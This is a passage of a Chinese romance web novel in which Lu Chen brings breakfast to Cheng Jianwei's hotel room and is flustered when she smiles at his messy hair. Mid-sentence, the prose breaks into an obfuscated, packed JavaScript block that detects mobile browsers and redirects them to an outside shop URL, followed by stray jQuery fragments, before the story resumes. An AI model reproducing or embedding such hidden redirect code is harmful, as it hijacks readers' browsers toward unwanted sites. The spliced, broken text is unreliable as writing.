一楼到了。门开，前厅明亮的光线和更清晰的空气流动扑面而来。前台换了早班的员工，是个穿着制服、妆容精致的年轻女生，正低头整理着表格。左边的墙边，确实有一个白色的、分格保温柜，每个小格子外面贴着房号标签。


    陆忱走过去，脚步不自觉地放轻。找到508号格子，拉开小门。里面是一个白色的、质地厚实的纸袋，袋口被仔细地向内折叠了两道，封得很整齐。他取出纸袋，入手是温热的，沉甸甸的。隔着纸袋，食物的香气隐约透出来——大米熬煮后特有的清甜醇厚，面食经过蒸制散发的麦香，还有一丝丝类似香菇、鸡肉和青菜混合的、咸鲜诱人的味道。


    他提着袋子，站在原地没有立刻离开。


    目光落在前台，又飘向电梯方向。手指无意识地摩挲着温热的纸袋边缘。犹豫只持续了很短的几秒，一种更强烈的冲动压倒了其他。他转身，重新走向电梯，按亮上行键。


    回到五楼，熟悉的寂静再次包裹上来。他走到509门口。


    心跳开始不受控制地加速，咚咚咚，撞击着耳膜。他深吸一口气，试图让呼吸平稳下来，但效果甚微。抬手，用修剪整齐的指甲，以适中的力度，轻轻叩响门板。


    叩，叩，叩。


    三声。在安静的走廊里显得格外清晰，甚至有些突兀。


    等待的几秒钟被无限拉长。他能听见自己血液奔流的声音，能感觉到掌心渗出细微的、冰凉的汗意。无数个念头闪过——她可能已经收拾好出去了，可能在卫生间没听见，可能……


    门内传来由远及近的、极轻的脚步声，踩在地毯上几乎无声，但他就是听见了。


    接着，门锁传来“咔哒”一声轻响，转动。


    门被向内拉开。


    程见微出现在门后。


    她刚洗完澡。


    乌黑浓密的长发湿漉漉地披散在肩头、背后，发梢还在不断滴水，在她身上那件浅灰色的、棉质家居服肩头洇开几处颜色更深的、不规则的湿痕。没有完全擦干的水珠顺着她纤细的脖颈缓缓滑落，留下一道透明的痕迹，消失在微敞的领口深处。她的脸上带着沐浴后自然的、健康的红晕，从脸颊一直蔓延到耳根，皮肤干净透亮，仿佛能看见底下毛细血管细微的纹路。那双琥珀色的眼睛被水汽浸润过，显得格外清澈剔透，像晨光下未被搅动的、平静的湖面。


    她穿着一套简单的浅灰色家居服——长袖圆领T恤和同色的宽松长裤，布料柔软垂顺，贴着她清瘦却挺拔、带有隐约肌肉线条的身体曲线。脚上是一双酒店提供的白色棉质拖鞋，露出白皙纤细的脚踝和一部分脚背。


    整个人散发出一种陆忱从未见过的、毫无防备的、真实到近乎脆弱的气息。没有平时那种温和却疏离的社交面具，没有冷静观察者的理性屏障，只有最本真的、刚沐浴完毕的、带着水汽和体温的柔软。


    陆忱彻底愣住了。


    他看着她，大脑有瞬间的空白，所有准备好的、在电梯里反复演练过的台词——谢谢你的早餐，我起来了，我们什么时候回学校——全都卡在喉咙深处，被那扑面而来的、过于真实的画面冲击得粉碎。他只是怔怔地、近乎失礼地凝视着她，看着她湿漉漉的、贴着脸颊的发丝，看着她干净得不染尘埃的脸庞，看着她那双平静地回望着他、带着一丝询问的眼睛。


    然后，他注意到她的目光，在他脸上略作停留后，微微向上移动，在他头顶……定住了。


    非常短暂的定格，绝对不超过半秒。但她那总是平静无波的嘴角，几不可察地、轻轻地动了一下。


    那是一个极其细微的、几乎可以忽略不计的肌肉牵动，像是想笑，又强行忍住了。但陆忱捕捉到了。因为他从开门那一刻起，目光就没有离开过她的脸，用着一种近乎贪婪的专注。


    接着，他听见她的声音响起。比平时更低一些，更柔和一些，带着刚洗完澡后特有的、微微的沙哑质感，像被温水浸泡过的丝绸：


    “你头发……”


    她没有说完，只是自然而然地抬起右手，用纤细的食指，轻轻点了点自己头顶正中央的某个位置。动作随意，眼神里甚至带了一丝很淡的、几乎难以察觉的……趣味？


    陆忱下意识地抬手，摸向自己的头顶。


    指尖准确无误地触到了那撮依然倔强翘立着的、带着体温的头发。


    他的动作瞬间僵住了。


    然后，一股陌生的、滚烫的热意，毫无预兆地、以燎原之势，轰然从他的脖颈窜起，瞬间席卷了整张脸、耳朵，甚至可能连脖子后面的皮肤都红透了。他能无比清晰地感觉到脸颊和耳廓在疯狂发烫，血液在耳朵里轰鸣作响，像有无数只蜜蜂在同时振翅。


    他站在门口，手里还提着那个温热的早餐纸袋，头顶翘着一撮可笑的呆毛，脸上红得快要滴血，整个人看起来……蠢透了，呆极了，和他平时竭力维持的形象南辕北辙。


    程见微看着他的样子，安静了两秒。


    她的眼神落在他红透的耳根和骤然僵硬的肢体语言上，然后，陆忱看见——无比清晰地看见——她的嘴角，不再掩饰地、缓缓地、真实地弯了起来。


    不是一个转瞬即逝的礼节性弧度，而是一个完整的、清晰的、带着温度和弧度的微笑。她的眼睛也随之微微弯起，琥珀色的瞳孔里漾开细碎的、真实的笑意，眼尾被牵出几道浅浅的、温柔的纹路。左脸颊上那颗淡淡的小痣，也随着微笑的弧度微微上移，显得生动。


    她笑了。


    不是那种观察记录后了然于心的笑，不是社交场合礼貌疏离的笑，而是一个真实的、鲜活的、带着一点点促狭、一点点有趣、一点点……柔软的、属于“程见微本人”的笑。


    陆忱的心脏，在这一刻，仿佛被一只无形的手狠狠攥紧，然后骤然停跳。


    他看着她笑，看着她眼睛里那些细碎的、闪亮的光，看着她微微上扬的、不再紧绷的嘴角，看着她整个人在身后房间漫出的暖光和走廊清冷光线的交界处，生动起来的模样。时间仿佛被无限拉长、凝固，走廊里原本微凉的空气似乎都变得稠密而温暖。晨光从她身后未完全拉拢的窗帘缝隙斜射进来，给她湿漉的发梢和肩头镀上一层毛茸茸的、淡金色的光晕。


    这个画面，带着她真实的笑容和毫无防备的柔软，像一枚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170724|193824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    滚烫的烙印，狠狠地、精准地烫在了他记忆最深、最脆弱的地方。


    然后，在一片空白的轰鸣中，他听见自己的声音，干涩得像是许久未曾运转、生了锈的机械零件在摩擦：


    “……谢谢早餐。”


    声音低哑，几乎气音。


    程见微收敛了笑意，但眼角眉梢依然残留着那抹未曾散尽的柔软弧度。她点点头，侧身向房间内让开一步，动作自然：“要进来吗？还是……”


    她的目光落在他手里提着的、显然是未动过的早餐纸袋上。


    陆忱这才猛地从失神中惊醒，意识到自己还像个雕塑一样傻站在门口。他僵硬地迈开脚步，走进房间。属于她的气息瞬间包裹过来——是干净的、带着水汽的、混合着一点她惯用的、类似檀木与雪松清冽又沉稳的淡香，还有一点酒店沐浴用品的清新气味。房间布局和他那间一模一样，极简的线条，克制的色调，但因为她的存在，因为桌上摊开的物品，椅子上搭着的衣物，空气中浮动的属于她的气息，一切都显得截然不同，充满了“人”的痕迹和温度。


    书桌上，她的黑色硬壳笔记本摊开着，旁边是那支她常用的、设计简约的钢笔。一个打开的小型洗漱包放在一旁，里面的物品——牙刷、牙膏、洗面奶、一个深蓝色的小罐子（面霜？）——摆放得整齐有序，显示出主人严谨的习惯。床上，被子已经被仔细铺平，枕头拍得蓬松，放置在床头正中。窗边那张单人沙发上，搭着她今天准备换上的衣物——一件米白色的、看起来质地柔软的羊绒针织衫，一条深色的、版型挺括的直筒长裤。


    一切都井然有序，冷静克制，却又无声地宣告着“程见微在此停留过”。


    程见微关上门，将走廊的微凉隔绝在外。她走到书桌前，拿起那条白色的、半湿的毛巾，继续慢条斯理地擦拭着长发。动作自然流畅，没有因为他进来而刻意加快或放慢，也没有刻意避讳或表现出过度的热情。仿佛他的到来，只是这个早晨一个顺理成章、无需大惊小怪的环节。


    陆忱站在房间中央，高大的身形忽然显得有些局促。他看了看手里温热的纸袋，又看了看她擦头发的背影，最后选择走到窗边，小心地将沙发上她的衣物往旁边挪了挪，在沙发边缘坐了下来，只坐了三分之一的位置，背脊挺直，姿态拘谨。


    “粥还是热的。”他开口，声音比刚才顺畅了一些，但依然有些紧绷，“我还没吃。”


    “嗯。”程见微应了一声，用毛巾包住发尾，轻轻揉搓，水珠被吸走，发出细微的窸窣声，“那家店的香菇鸡肉粥熬得很入味，米油都熬出来了。包子是现包的，菜肉馅，味道清爽。”


    她的语气很平常。


    但陆忱知道，这不是普通的分享。这背后是晨跑的习惯，是路过时的留意，是觉得不错的判断，是想起他的念头，是购买和带回的行动。


    这每一个看似简单的环节，对于程见微而言，都不是理所当然、信手拈来的。这背后是计算，是衡量，是……超出纯粹观察范畴的、具体的付出。


    ——她为我做了这些。


    这个认知让他握着纸袋的手指微微收紧。